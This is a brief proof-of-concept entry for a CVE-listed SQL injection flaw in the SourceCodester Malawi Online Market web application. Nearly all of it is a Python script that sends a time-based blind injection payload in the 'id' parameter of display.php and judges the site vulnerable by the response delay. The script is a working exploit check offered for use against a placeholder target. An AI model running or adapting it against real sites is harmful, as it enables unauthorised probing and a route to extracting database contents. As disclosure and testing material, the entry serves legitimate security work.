CVE-2026-4838 SourceCodester Malawi Online Market SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target_ip/display.php" # Malicious payload to test SQL Injection # This payload attempts a time-based blind injection to sleep for 5 seconds payload = { "id": "1' AND SLEEP(5)-- -" } try: print("[*] Sending payload to target...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time to verify vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected via timing analysis.") except Exception as e: print(f"[!] An error occurred: {e}")